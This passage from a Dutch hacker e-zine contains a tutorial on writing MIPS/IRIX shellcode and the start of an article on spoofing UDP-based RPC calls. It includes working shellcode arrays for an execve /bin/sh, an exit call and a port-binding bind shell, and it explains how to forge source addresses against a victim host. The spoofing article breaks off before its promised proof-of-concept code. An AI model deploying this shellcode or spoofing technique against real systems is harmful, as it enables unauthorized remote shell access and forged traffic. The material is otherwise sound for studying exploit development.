volgende jaren werden de R10000 en de R5000 processor nog ontwikkeld. Deze waren vooral ontwikkeld voor hoge snelheid en weinig stroomverbruik. De R5000 was daarbij nog extra ontwikkeld voor het sneller verwerken van grafische toepassingen. De meest recente processors ontwikkeld, de R12000 en de R14000 bevatten niet echt nieuwe technieken maar zijn simpelweg sneller gemaakt. Hierbij kun je denken aan een hogere klok frequentie en sneller geheugen. Er zijn plannen voor een nieuwer complexere processor die R8000 moet gaan heten. Maar wat hiervan precies de revolutie is, is nog niet bekend. Beknopte interne werking MIPS processor Wat opvalt bij de mips instructie set is dat er in verhouding met de instructie sets van de x86 er maar weinig instructies zijn. Ook valt op dat alle instructies 32 bits zijn. Terwijl die van de x86 verschillen van 2 t/m 17 bits. Doordat we maar weinig instructies tot ons beschikbaar hebben zullen we in veel gevallen langere code krijgen om iets gedaan te krijgen dan op de x86. Dit maakt overigens de code niet langzamer doordat de instructies eenvoudiger zijn en parallel kunnen worden gebruikt. En omdat ze allen 32 bits zijn kunnen ze makkelijker door de processor worden geïnterpreteerd en kan pipelining volledig effectief worden toegepast. De processor verwerkt 5 instructies tegelijk en elke instructie wordt onderverdeeld in 5 stages: - Verkrijg instructie uit het geheugen - Lees registers en decode instructie - Voer de instructie uit - Verkrijg toegang tot de operand - Schrijf de resultaten weg in registers Het Branch Delay Slot Voordat we het gaan hebben over het branch delay slot ga ik eerst even in op een aantal eigenschappen van de processor om sneller te kunnen werken. Een processor kan meerdere dingen tegelijk doen en dit noemt men pipelining. Om het makkelijk uit te leggen, een sociaal voorbeeld: Stel dat je 3 verschillende soorten kleding hebt. Je kunt dan eerst 1 soort kleding in de was doen, dan in de droger en dan gaan strijken. Om vervolgens daarna te gaan beginnen aan het 2e soort kleding. Dit is niet erg efficiënt. Een betere oplossing is om het 2e soort kleding meteen in de was te doen als de 1e soort klaar is en in de droger zit. Vervolgens als deze klaar zijn kun je het 1e soort kleding aan strijken, de 2e soort in de droger doen en de 3e soort in de was. Dit zal veel tijd besparen. Op deze manier werkt pipelining in de processor ook. Zoals hierboven reeds gezegd worden er 5 instructies tegelijk verwerkt en word elke instructie weer onderverdeeld in 5 stages. Dit kan gewoon goed werken met pipelining, totdat je een instructie als een branch krijgt. Dan hangt de instructie die de processor na de branch moet uitvoeren van de uitkomst af. Om hier efficiënt mee om te gaan bestaat het zogenaamde branch delay slot. Deze bevat een instructie die niks met de branch te maken heeft en sowieso moet worden uitgevoerd. Voorbeeld: add $t0,$t1,$t2 bne $t6,$t7,noot /---------------\ | B.D SLOT | \---------------/ noot: Bij dit stukje code zal "add $t0,$t1,$t2" in het branch delay slot komen. Omdat deze sowieso moet worden uitgevoerd en de registers niet nodig zijn door de branch instructie. bne $t6,$t7,noot /---------------\ |add $t0,$t1,$t2| \---------------/ De MIPS Registers Zoals eerder vermeld bevat de MIPS processor 32 registers. Hieronder staan eerst de symbolische namen en daarna de register nummers zelf: $s0 - $s7($16 - $23): Dit zijn globale registers. Als je een functie hebt waarin je deze registers gebruikt kan je de huidige waardes beter eerst opslaan door ze op de stack te zetten en aan het eind van je functie weer terug te halen. $t0 - $t9($8 - $15): Dit zijn de tempory registers. Deze mag je in je eigen functie altijd gewoon overschrijven zonder ze op te slaan. $a0 - $a3($4 - $7): Deze registers worden als argumenten gebruikt voor syscalls. Als je bijv een socket wil aanvragen zou je AF_INET in $a0 zetten, SOCK_STREAM in $a1 etc. $v0 - $v1($2 - $3): Word gebruikt voor de return values van je functie. En een aantal alternatieve registers: $zero($0) -> dit register bevat altijd nul. Handig voor het maken van vergelijkingen. $sp($29) -> stack-pointer $fp($30) -> frame-pointer $gp($28) -> global-pointer. Wijst midden in .data. Handig om variabelen etc. in .data te adresseren. $at($1) -> word door de assembler gebruikt om lange constante waarden vast te houden. De MIPS instructie set Hieronder volgt een lijst van instructies die je waarschijnlijk het vaakst zal gaan gebruiken wanneer je shellcode schrijft. Als je geïnteresseerd bent in meerdere instructies zou je even bij de referenties onder aan dit artikel kunnen kijken. Wat identiek is aan de MIPS instructies is, is dat er veeal 3 operands worden gebruikt. Hierdoor kun je complexer te werk gaan: li dest,source // laad immediate lw dest,source // laad word sw source,dest // schrijf word in geheugen lh dest,source // laad half-word and dest,source1,source2 // logical and (&) or dest,source1,source2 // logical or (|) nor dest,source1,source2 // logical not or (~|) xor dest,source,source2 // logical xor xori dest,source,waarde // logical xor immediate add dest,source1,source2 // :> sub dest,source1,source2 // :> addu dest,source1,source2 // add unsigned subu dest,source1,source2 // substract unsigned bne source1,source2,DEST // branch not equal(!=) then jmp DEST beq source1,source2,DEST // branch equal(==) then jmp DEST bgez source,DEST // branch greater/equal zero (>=0) then jmp DEST bgtz source,DEST // branch greater zero(>0) then jmp DEST bltz source,DEST // branch less/equal zero(<=0) then jmp DEST bltzal source,OFFSET // branch less/queal zero(<=0) then jmp OFFSET slt dest,source1,source2 // set dest=1 if source1 < source2 slti dest,source1,source2 // set dest=1 if source1 < source2 source2 = immediate sltiu dest,source1,source2 // set dest=1 if source1 < source2 source2 = unsigned immediate j DEST // jump to DEST(symbolic) jr DEST // jump to DEST(adress) jal DEST // jump to DEST en save pc(program counter)+4 in $ra syscall // system call Het opstellen van een simpele instructie in shellcode Een normale MIPS instructie zou er ongeveer als 0xe83cfffd kunnen uitzien. Om een shellcode op te kunnen stellen moeten we eerst nog wat meer gedetailleerder informatie verwerken. Voor elke soort instructie is er een ander formaat om aan de eisen van de functie te kunnen voldoen. De formaten luiden als volgt: R-Formaat: /-----------------------------------------\ | OP | RS | RT | RD | SHAMT | SUBOP | |-----------------------------------------| | 6 | 5 | 5 | 5 | 5 | 6 | \-----------------------------------------/ OP= Opcode van de functie RS= Het 1e source register RT= Het 2e source register RD= Het destination register SHAMT= Shift amount SUBOP= Sub-opcode voor bijbehorende functie De nummers vertegenwoordigen het aantal bits wat elke optie reserveert. Dit formaat wordt voor arethmetic gebruikt(add,sub etc..). I-Formaat: /-----------------------------------------\ | OP | RS | RT | ADRESS | |-----------------------------------------| | 6 | 5 | 5 | 16 | \-----------------------------------------/ ADRESS = De offset naar een blok code. RT neemt hier de functie van het destination register(RD) over! Word veelal gebruikt bij het ophalen / schrijven van data uit / in geheugen(lw etc..) en het laden van grote getallen in een register zoals met bijvoorbeeld de instructie 'li'. J-Formaat: /-----------------------------------------\ | OP | ADRESS | |-----------------------------------------| | 6 | 26 | \-----------------------------------------/ Formaat dat wordt gebruikt bij Jumps. Nu we dit weten kunnen we een instructie in shellcode gaan schrijven. Voorbeeld: li $a6,1337 We gebruiken hiervoor het I-formaat en dit word als volgt ingevuld: /-----------------------------------------\ | 9 | 0 | 22 | 1337 | \-----------------------------------------/ in binary: 001001 00000 10101 0001 0011 0011 0111 Omdat de shellcode in hex is zullen we de 32 bytes nog moeten onderverdelen in 8 groepjes van 4 bits die elk een character zullen vormen. 0010 0100 0000 1011 0001 0011 0011 0111 oftewel: 0x240b1337 :-) Benodigde constructies & null-bytes voorkomen 1 van de meest belangrijke dingen wanneer men shellcode schrijft is het verkrijgen van het huidige adres om daarna offsets te gaan gebruiken in je shellcode zodat het system independant is. Hierboven is al beknopt de werking uitgelegd van het branch delay slot en dit is ook hetgeen wat we gebruiken om het huidige adres te verkrijgen. Aanschouw het volgende stukje code: li t1, -0x1985 /* zorg ervoor dat t1< 0 is */ boom: bltzal t1, boom /* branch $ra(boom) wanneer t1<0 */ slti t1, zero, -1 /* t1 word 0 */ mus: Wanneer de branch instructie wordt geïnterpreteerd komt de slti in het branch delay slot. Zoals eerder vermeld wijst $ra naar de instructie achter het branch delay slot, oftewel naar mus :-). Null-bytes worden vooral veroorzaakt wanneer je getallen < 256 naar registers wilt plaatsen. Om deze te voorkomen zijn er een aantal simpele trucs. Het meest simpele is slti gebruiken om een 0 of een 1 in een register te zetten. Voor de andere 254 getallen kun je het volgende algoritme gebruiken: li $t5,-0x1338 not $t4,$t5 Nu bevat $t4 0x1337 zonder dat je null-bytes in je shellcode krijgt :-). Als je het niet vat moet je maar eens zoeken op "two's complement system". Je zou ook 0x100 kunnen optellen en even later in je code er weer afhalen om hetzelfde effect te krijgen. Dit zullen we in de voorbeelden bij dit artikel terugvinden. Als laatste een truc om de move functie na te bootsen. Je kunt een andi met 0xffff als immediate en op deze manier simpel een getal kopieren. Voor de rest zou je er redelijk moeten uitkomen om alle null-bytes te verwijderen. Je zult zien dat je instructies veelal moet verplaatsen met andere instructies die simpelweg hetzelfde doen maar niet zorgen voor null-bytes. Sockets & MIPS/IRIX Sockets schrijven in MIPS/IRIX assembly is niet moeilijk. Dit komt vooral doordat we genoeg registers tot ons beschikbaar hebben die alle haar eigen functie hebben en wij eigenlijk alleen maar hoeven in te vullen om vervolgens een system call te doen. Of de functie succesvol is uitgevoerd kun je na elke aanroep checken door a3 te vergelijken met 0. Hier komen de meest gebruikte functies: <-- socket(a0,a1,a2) --> v0 = SYS_socket = 0x0453 a0 = domain a1 = type a2 = protocol. v0 = nieuwe socket file descriptor <-- bind(a0,a1,a2) --> a0 = sockfd a1 = (struct sockaddr *)myhost a2 = sizeof(myhost) v0 = SYS_bind = 0x0442 <-- connect(a0,a1,a2) --> a0 = socket file descriptor a1 = &struct sockaddr * a2 = 16(sizeof(struct sockaddr_in)) <-- write(a0,a1,a2) --> a0 = file descriptor a1 = &buffer a2 = sizeof(buffer) v0 = SYS_write = 0x03ec v0 = aantal bytes wat succesvol is geschreven. <-- read(a0,a1,a2) --> a0 = file descriptor a1 = &buffer a2 = max. aantal bytes dat gelezen moet worden. v0 = SYS_read = 0x03eb v0 = aantal bytes wat succesvol is gelezen <-- accept(a0,a1,a2) --> a0 = socket file descriptor a1 = &(struct sockaddr *) a2 = 16(sizeof(struct sockaddr_in)) v0 = SYS_accept = 0x0441 v0 = nieuwe socket <-- close(a0) --> a0 = file descriptor a1 = SYS_close = 0x03ee <-- execve(a0,a1,a2) --> a0 = filename a1 = argv[] a2 = envp[] v0 = SYS_execve = 0x0423 <-- fcntl(a0,a1,a2) --> a0 = file descriptor a1 = cmd a2 = argument wanneer nodig v0 = SYS_fcntl = 0x0426 <-- fork() --> v0 = SYS_fork = 0x03ea <-- listen(a0,a1) --> a0 = socket file descriptor a1 = backlog v0 = SYS_listen = 0x0448 Er is geen dup2() geimplanteerd dus om deze na te bootsen gebruiken we simpel: dup2(aap1,aap2); close(aap2); fcntl(aap1,F_DUPFD, aap2); Dit komt op hetzelfde neer behalve de error checking. Voorbeeld Shellcodes En tot slot een aantal eigen gemaakte shellcodes. Je zou als oefening proberen te gaan afleiden hoe de shellcode tot stand is gekomen en wat de opcodes zijn van de gebruikte instructies. Je komt er vast wel uit. /** 52 byte execve PIC MIPS/IRIX shellcode **/ /** **/ unsigned int execshell[] = { 0xafa0fffc, // sw zero, -4($sp) 0x0410ffff, // foo: bltzal $zero, $foo 0x8fa6fffc, // lw $a2, -4($sp) 0x241fffdb, // li $ra,-41 0x03e0f827, // nor $ra,$ra,$zero 0x33e4ffff, // andi $a0,$ra,0xffff 0x701ffffe, // sb $zero, -(1)($ra) 0xafa4fff8, // sw $a0, -8($sp) 0x20bffff8, // addi $a1, $sp, -8 0x24020423, // li v0, SYS_execve 0x0101010c, // syscall 0x2f62696e, // .ascii "/bin" 0x2f736841 // .ascii "/sh", .byte 0x41 (dummy) }; /** 20 byte exit(1) PIC MIPS/IRIX shellcode **/ /** **/ unsigned int exit[] = { 0x2804fffe, // slti a0,zero,-1 0x241603e8, // li s6, 0x03e8 0x22c2fc22, // addi v0,s6,-0x1ff6 syscall = 10 0x0101010c, // syscall 0x240d4141 // li t7,0x4141 (NOP) }; /** 204 byte portbinding PIC MIPS/IRIX shellcode **/ /** **/ unsigned int bindshell[] = { 0x241607d0, // li s6, 0x07d0 0x22c4f832, // addi a0,s6,-0x1998 af_inet = 2 0x22c5f832, // addi a1,s6,-0x1998 sock_stream = 2 0x22c6f838, // a2,s6,-0x1992 tcp = 6 0x24020453, // li v0,0x0453 0x0101010c, // syscall 0x3044ffff, // andi a0, v0, 0xffff /* build struct sockaddr_in * 0x0002port 0x00000000 0x00000000 0x00000000 */ 0x22caf832, // addi t2,s6,-0x1998 0xa7eafff0, // sh t2, -16(sp) 0x240a4141, // li t2, 0x4141 /* t2 = port number */ 0xa7eafff2, // sh t2, -14(sp) 0xab1ffff4, // sw zero, -12(sp) 0xab1ffff8, // sw zero, -8(sp) 0x1abffffc, // sw zero, -4(sp) 0x22a6f840, // addi a2,s6,-0x07c0 0x03e62817, // subu a1, sp, a2 /* a1 = (struct sockaddr *) */ 0x24020442, // li v0, SYS_bind 0x0101010c, // syscall 0x22a5f840, // addi a1,s6,-0x07c0 0x24020448, // li v0, SYS_listen 0x0101010c, // syscall 0xafe6ffec, // sw a2, -20(sp) 0x23ebffec, // addi a2, sp, -20 /* a2 = &socklen */ 0x24020441, // li v0, SYS_accept 0x0101010c, // syscall 0x22d3bce2, // addi s3, s6, -0x431e /* s3 = 0x3032 (0x3030 = dummy, 0x0002 = STDERR_FILENO) */ 0x3057ffff, // andi s7, v0, 0xffff 0x240effff, // li t8, -1 0x05d0ffff, // boom: bltzal t8, boom 0x280effff, // slti t8, zero, -1 /* t8 = 0 (see below) */ 0x32640103, // andi a0, s3, 0x0103 /* a0 = STD*_FILENO */ 0x240203ee, // li v0, SYS_close 0x0101010c, // syscall 0x32e4ffff, // andi a0, s7, 0xffff /* a0 = socket */ 0x2805ffff, // slti a1, zero, -1 /* a1 = 0 */ 0x32660103, // andi a2, s3, 0x0103 /* a2 = STD*_FILENO */ 0x24020426, // li v0, SYS_fcntl /* 0x0426 */ 0x0101010c, // syscall 0x2013efef, // addi s3, -0x1011 0x0661ffde, // bgez s3, -34(offset to boom:) 0x1abffffc, // sw zero, -4(sp) /* a2 (envp) is already zero due to the dup_loop */ 0x040affff, // noot: bltzal zero, noot 0x23e5fff8, // addi a1, sp, -8 /* ra contains the proper address now */ 0x23ff0120, // addi ra, ra, 0x0120 /* add 32 + 0x0100 */ 0x23e4fef8, // addi a0, ra, -(8 + 0x100) 0xc01ffeff, // zero, -(1 + 0x100)(ra) /* store NUL */ 0xafa4fff8, // sw a0, -8(sp) 0x24020423, // li v0, SYS_execve 0x0101010c, // syscall 0x2f62696e, // .ascii "/bin" 0x2f736841 // .ascii "/sh", .byte 0x41 (dummy) }; References scut on mips/irix shellcode - http://www.phrack.org/phrack/56/p56-0x0f Homepage of SGI - http://www.sgi.com Homepage of MIPS - http://www.mips.com Computer Organization & Design - ISBN: 1558604286 Credits Als eerste wil ik graag atje bedanken voor het lenen van zijn boek(zie hierboven) wat me hiermee op weg hielp. Verder wil ik scut nog bedanken om zijn tips en altijd boeiende discussies ;). En als laatste nog Laurens voor het hosten van onze bestanden. En natuurlijk onze andere teamleden ook voor de altijd interessante discussies. Outroductie Bedankt voor het lezen van mijn artikel over MIPS shellcoding. Voor vragen en suggesties kun je me bereiken op ntronic@netric.org. Verder sta ik ook altijd open voor dingen op #netric@irc.netric.org. ------------------------------------------------------- 07. Rpc spoofen ------------------------------------------------------- Introductie De reden waarom ik dit schrijf, is omdat ik onlangs een applicatie heb geschreven over rpc, en me afvroeg wat voor dingen je allemaal kan uitsteken met rpc. JimJones heeft hier een heel goede paper over geschreven [1], maar hij is te veel gericht op het gebruik van de rpc api's in c. Voor die reden ben ik hieraan begonnen. Het verloop van deze tekst is als volgt : - minimale Uitleg over ip - minimale uitleg over udp - uitleggen wat spoofen is - uitleggen wat rpc is en waar het voor dient - uitleggen wat xdr is en waarom dit belangrijk is voor rpc - alles aan elkaar plakken - proof of concept code Bij elk deel dat ik behandel, ga ik eerst altijd een deel theorie geven, en dan wat snifflogs of wat ASCII arts, om dit te verduidelijken. IP Ip staat voor Internet Protocol, en is een van de vele protocollen die in tcp/ip zitten, tcp/ip wordt gebruikt voor om het even welk computer systeem met om het even welk os in een netwerk te laten werken met een andere computer die al dan niet dezelfde architectuur en os heeft. Deze computers communiceren dus. Communicatie kan ingedeeld worden in lagen, deze zijn : +--------------------+ | Application layer | +--------------------+ ===> Dit model noemt men het OSI model | Presentation layer | (Open Systems Interconnection) +--------------------+ | Session layer | +--------------------+ | transport layer | +--------------------+ | Network layer | ===> Hier bevindt zich IP (deze laag is ook gekend +--------------------+ als de 3de layer) | (data)link layer | +--------------------+ | Physical layer | +--------------------+ Met de IP header te lezen kan men zien van wie een pakketje komt, en voor wie het bestemd is, er staat ook nog wat info in die header over hoe groot je pakket is, een checksum, ... , de volgende ASCII tekening illustreert dit: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ deze tekening is gehaald uit rfc 791. Ik zal even kort uitleggen voor wat deze velden allemaal dienen, maar ga niet veel verder in op IP, alleen op die velden die we nodig hebben voor te spoofen. Version: dit veld is een halve byte groot (4 bits) en bevat de versie van het IP, momenteel zit men aan IP versie 4, dus dit veld heeft de waarde 4 (0100) IHL: Of Ip Header Length, dit veld bevat de lengte van de ip header (per 4 bytes) gezien een ip header in de meeste gevallen 20 bytes is (tenzij je een aantal van de opties gebruikt), heeft dit veld de waarde 5 (5 * 4 = 20) (0101) Type of Service: Dit veld is 1 byte groot de type van service, het is niet echt belangrijk bij rpc spoofen, dus ik ga hier geen uitleg bij geven, geef dit gewoon de waarde 0 (00000000) Total length: Dit is de totale lengte van de IP datagram, dat wil zeggen dat dit veld de lengte bevat van de IP header, de UDP header (die we straks gaan zien) en de data die we in deze datagram stoppen. Dit veld is 2 bytes groot. Identification: Dit is een identificatie voor je IP header, als je gefragmenteerde pakketten gaat sturen, wat we niet gaan doen!, dus is dit niet belangrijk hier. Dit veld is 2 bytes groot. Flags: Dit is ook voor gefragmenteerde pakketten, en heeft niet veel belang in deze tekst. dit veld is 3 bits groot Fragment offset: Dit is nog een veld voor gefragmenteerde pakketten, en ga ik dus ook niet uitleggen. dit veld is 13 bits groot. Time to Live: Dit veld is 1 byte groot, en bevat een standaard waarde (64 of 128 of nog een andere waarde) elke keer dit pakket voorbij een router gaat, wordt hier 1 van afgetrokken, als deze waarde 0 is, wordt het pakketje genegeerd. Dit is om te vermijden dat dit pakket eeuwig geroute wordt. Protocol: Hierin wordt het protocol nummer van het protocol dat wordt gebruikt in de transport layer, gezien we in deze tekst alleen met UDP gaan werken, zal dit veld de waarde 6 krijgen (00000110). Header Checksum: in dit veld staat een getal, dit komt overeen met de gehele IP header berekend volgens een zeker algoritme. Deze checksum is er om te zien dat er nergens een fout zit in de IP header. Source address: hierin staat het IP adres van de afzender, dit veld is van GROOT belang bij IP spoofen, hier komen we later nog op terug. Dit veld is 4 bytes groot. Destination Address: Hierin bevind zich het adres van de ontvanger, dit veld is eveneens 4 bytes groot. Options: Hier kan je een boel verschillende options in zetten, die niet echt belangrijk zijn bij spoofen, dus zal ik hier niet verder op ingaan. De lengte van dit veld is variabel. Padding: Dit wordt alleen gebruikt als de lengte van de options (in bytes) niet deelbaar is door 4, omdat de IP header altijd een lengte (in bytes) heeft die deelbaar is door 4. Dit is dus gewoon "opvulsel", het vult datagram op met x aantal 0 bits. Dit is IP in een notendop, een groot aantal dingen zijn hier maar gedeeltelijk of zelfs niet verklaard. Als je meer wil weten kan je best [2] en [3] lezen. udp Udp is een zeer simpel protocol, dus er zal niet veel tekst vervuild worden om dit uit te leggen, wil je toch wat meer weten over udp, dan wordt je aangeraden de volgende lectuur te lezen: [3] en [4]. een UDP header ziet er als volgt uit: 0 7 8 15 16 23 24 31 +--------+--------+--------+--------+ | Source | Destination | | Port | Port | +--------+--------+--------+--------+ | | | | Length | Checksum | +--------+--------+--------+--------+ | | data octets ... +---------------- ... deze tekening is gehaald uit rfc 768. hieronder vind je de verklaring van deze velden: Source port: Dit is de poort van de afzender, die nodig is voor als er pakketjes worden terug gestuurd, gezien deze tekst gaat over spoofen, is dit veld van weinig belang hier. (2 bytes groot) Destination port: Dit is de poort van de ontvanger. In ons geval zal hier een rpc service op draaien, dit veld is eveneens 2 bytes groot. Length: Hierin bevind zich de lengte van de udp datagram + de lengte van je data, dit veld is ook 2 bytes groot Checksum: Zie IP Zo, dit was: "UDP in een notendop". Wat is Spoofen ? Spoofen wil zeggen dat diegene die je spoofed pakket aankrijgt, denkt dat dit van iemand anders komt. Er zijn 2 soorten spoofen, Blind Spoofinig en non-blind spoofing. Blind spoofing wil zeggen dat je wel pakketten verstuurt, maar er nooit terug krijgt dit is omdat de ontvanger van je spoofed pakket, pakketten zal terug sturen naar het adres dat je gespoofed hebt. Bij non-blind spoofing gebeurt exact hetzelfde als bij blind spoofing, maar hier kan je de pakketten die worden terug gestuurd sniffen. Als je wilt spoofen op internet, ga je meestal Blind spoofen, omdat het vrij moeilijk is het netwerk verkeer te sniffen van de ontvanger. bij IP spoofen, zijn er 2 protocollen die kunnen gebruikt worden (die zich in de transport layer bevinden), dit zijn udp en tcp. udp is VÉÉL gemakkelijker te spoofen dan tcp, omdat tcp werkt met zogenaamde "Sequence numbers", dit zijn random nummers die door de ontvanger worden gegenereerd, en je moet deze dan optellen met 1 en terug sturen. Dit is niet het geval bij udp. Als je de moeilijkheidsgraad van udp en tcp spoofen met elkaar zou vergelijken in gewicht dan "weegt" udp spoofen zoveel als 'n pluim, en tcp spoofen ongeveer zoveel als een volwassen olifant. Als je meer wil weten over tcp spoofen, moet je [5] en [6] eens lezen. Voor de boven vernoemde redenen beperken we ons tot udp. Toch nog even vermelden dat sommige isp's NIET toelaten om te spoofen, (in geval je de poc code onderaan eens wil testen). Hoe spoof ik? Als je de IP header nog eens beziet (die hierboven staat) zie je dat er een veld is waar het source address instaat (4 bytes), al wat je eigenlijk moet doen om te spoofen is dit adres veranderen naar een ander adres. Als je ontvanger dan je pakket ontvangt, denkt hij dat dit van dat adres komt, en niet van jou. Ik zal een praktisch voorbeeld geven, stel je wilt computer 198.116.142.34 exploiten, en je eigen IP adres is 212.239.200.54, maar je wil dat 198.116.142.34 denkt dat je pakketten van 208.47.125.33 komen: +----------------+ | 212.239.200.54 | | doet zich voor |------\ | als | \ (1) | 208.47.125.33 | \---->----- +----------------+ \ +----------------+ | 198.116.142.34 | (2) | ons slachtoffer| +----------------+ / +----------------+ (3) / | 208.47.125.33 |---------<-------/ | we doen ons | | voor als deze | | host | +----------------+ (1) We versturen ons spoofed pakket met als source address : 208.47.125.33 (2) 198.116.142.34 verwerkt ons pakket en denkt dat dit van 208.47.125.33 komt (3) Indien 198.116.142.34 een reply terug stuurt, stuurt hij dit naar 208.47.125.33 Wat er hierna misschien nog kan gebeuren is dat 208.47.125.33 niets weet van dit pakket en dat er een port unreachable icmp ofzo wordt terug gestuurd naar 198.116.142.34, maar dit is niet echt belangrijk om te weten (in deze context). RPC ?? RPwat ? RPC staat voor remote procedure call, dit is een protocol dat je toelaat verschillende versies van 1 serverprogramma te gebruiken. Het werkt ook *iets* anders als normale client-server systemen. Je stuurt elke keer een rpc call naar de server, waarin staat welke versie en functie (of procedure) in deze deamon die je wilt gebruiken, op zo een rpc call volgt altijd een rpc reply, die je dan de resultaten geeft van wat je hebt gevraagd. Omdat we blind spoofen en dus niets terug krijgen van de server, is de uitleg van een rpc reply hier niet relevant, er zijn 2 soorten rpc: ONC RPC (Open Network Computing) of ook wel SunRPC genoemd (omdat dit ontworpen is door de mensen van Sun Microsystems) DCE RPC (Distributed Computing Environment) Dit is de RPC implementatie van de Open Source Foundation. Alleen ONC RPC zal hier besproken worden, omdat deze het meest gebruikt wordt. RPC is dus WEERAL een header erbij. Deze bevindt zich in het begin van de udp data en ziet er als volgt uit: 0 1 2 3 +--------------+ | XID | +--------------+ | Call | +--------------+ | RPC versie | +--------------+ |programma nr. | +--------------+ | Versie nr. | +--------------+ |Procedure nr. | +--------------+ | Cred. | | | +--------------+ | Verifier | | | +--------------+ | data die bij | | je parameter | | hoort ... | +--------------+ zoals voordien zal ik deze velden even kort introduceren: XID: Het idnummer van je pakket, dit is belangrijk, voor onder andere 'retransmission' bij udp, en om je rpc pakket een uniek nummer te geven. Call: Dit veld verteld aan de server dat het een call is, en bevat de waarde 0. RPC versie: Dit is de versie van SunRPC zelf, momenteel zit men aan versie 2, dus dit veld met het nummer 2 bevatten. Programma nummer: Dit is het programma dat je aanroept, elk RPC programma heeft zijn eigen nummer, zo heeft de portmapper nummer 100000, en PCNFS heeft het nummer 150001. Versie nummer: Dit is de versie van een zeker programma dat je wilt aanroepen, als je bijvoorbeeld NFS wilt gebruiken, met versie nummer 3, dan vul je 3 in dit veld in. Procedure nummer: Hiermee zeg je welke procedure je wilt aanroepen, als je bijvoorbeeld de READ procedure wilt aanroepen bij NFS (=5) wilt aanroepen, vul je in dit veld 5 in. Credentials: In dit veld wordt soms server specifieke data in gestopt, waaraan de server beslist of het je call verwerkt of niet. De lengte van de Credentials kunnen 8 tot 408 bytes zijn .Dit veld is niet relevant in deze tekst, en zal hier 0 zijn. Verifier: Dit wordt gebruikt bij secure RPC en is volgens een zeker encryptie algoritme ge-encrypteerd. De lengte van de Verifier kan 8 tot 408 bytes zijn. Dit veld is nutteloos in deze tekst, en zal dus 0 zijn. Een RPC header moet in lengte ook ALTIJD deelbaar zijn door 4 (in bytes) indien dit niet het geval is, moet je ook padding toepassen. Hier is ZEKER niet alles gezegd over RPC, maar met deze kennis heb je genoeg om te kunnen volgen, indien je meer over RPC wilt weten, raad ik je aan om [3], [7] ,[8] en [10] te lezen, de RPC(3N) manfile is ook zeer leerrijk. XDR XDR, oftewel eXternal Data Representation. Dit is een encoding protocol, om procedures, en de data daarin verstaanbaar te maken voor verschillende os'en en architecturen. XDR heeft een heleboel verschillende data types. Wij zullen er 2 van bespreken (die nodig zijn), als je meer wil weten over XDR en XDR datatypes, kun je [9] eens lezen. Integer: in XDR is deze 4 bytes lang (32 bit), en kan zowel negatief als positief zijn. een integer ziet er als volgt uit : (MSB) (LSB) +-------+-------+-------+-------+ |byte 0 |byte 1 |byte 2 |byte 3 | +-------+-------+-------+-------+ <------------32 bits------------> Deze voorstelling is gehaald uit Rfc 1832 MSB: Most Significant Byte LSB: Least Significant Byte Men begint in byte 0, als je waarde groter is als 255, gebruikt men 2 bytes, en gebruikt men byte 0 en byte 1, als je waarde groter is als 65535, gebruikt men 3 bytes, en gebruikt men dus byte 0, byte 1 en 2. om deze reden kan er in een integer maar maximaal een getal in van -2.147.483.648 tot 2.147.483.647. Deze 'byte order' noemt men ook wel 'Big endian Byte order'. Unsigned integer: Deze is Bijna hetzelfde als een gewone integer, met het verschil dat de waarden in een unsigned integer niet negatief kunnen zijn. een unsigned integer kan dus tussen 0 en 4.294.967.295 liggen. De Velden XID, Call, RPC versie, Programma nummer, versie nummer en procedure nummer in de RPC header zijn van het XDR datatype Unsigned Integer, Credentials en verifier zijn van een vooraf ongedefinieerd type en hangen van de situatie af. De data die bij procedure hoort, zijn specifiek voor je procedure. en hangen dus van procedure tot procedure af. De datatypes zijn NIET aangekondigd, er wordt verwacht dat je applicatie zelf weet welke datatypes er moeten gebruikt worden. Alles aan elkaar plakken Nu al the theorie gezegd is kunnen we aan de praktijk beginnen, om al deze theorie tot praktijk om te toveren, moet men alles aan elkaar plakken, dus eerst de ip header maken, en dan in de ip data de udp header steken, vervolgens stop je de rpc header in de udp data, en daarna kan je de rpc data invullen (indien nodig). om alles wat duidelijker te maken, kan je eens zien naar het volgende schema. 0 1 2 3 --+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------ |Version| IHL |Type of Service| Total Length | De ip +---------------------------------------------------------------+ | Identification |Flags| Fragment Offset | Header +---------------------------------------------------------------+ | Time to Live | Protocol | Header Checksum | +---------------------------------------------------------------+ | Source Address | +---------------------------------------------------------------+ | Destination Address | --+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------ | Source port | Destination port | Udp +---------------------------------------------------------------+ | Length | Checksum | Header --+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------ | XID | Udp +---------------------------------------------------------------+ | CALL | Data +---------------------------------------------------------------+ | RPC versie | +---------------------------------------------------------------+ | Programma Nummer | of de +---------------------------------------------------------------+ | Versie Nummer | +---------------------------------------------------------------+ | Procedure Nummer | Rpc +---------------------------------------------------------------+ | Credentials | Header +---------------------------------------------------------------+ | Verifier | +---------------------------------------------------------------+ - - - | RPC data (dit kan meer als 4 bytes zijn !) | data --+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------ als je dit volledig 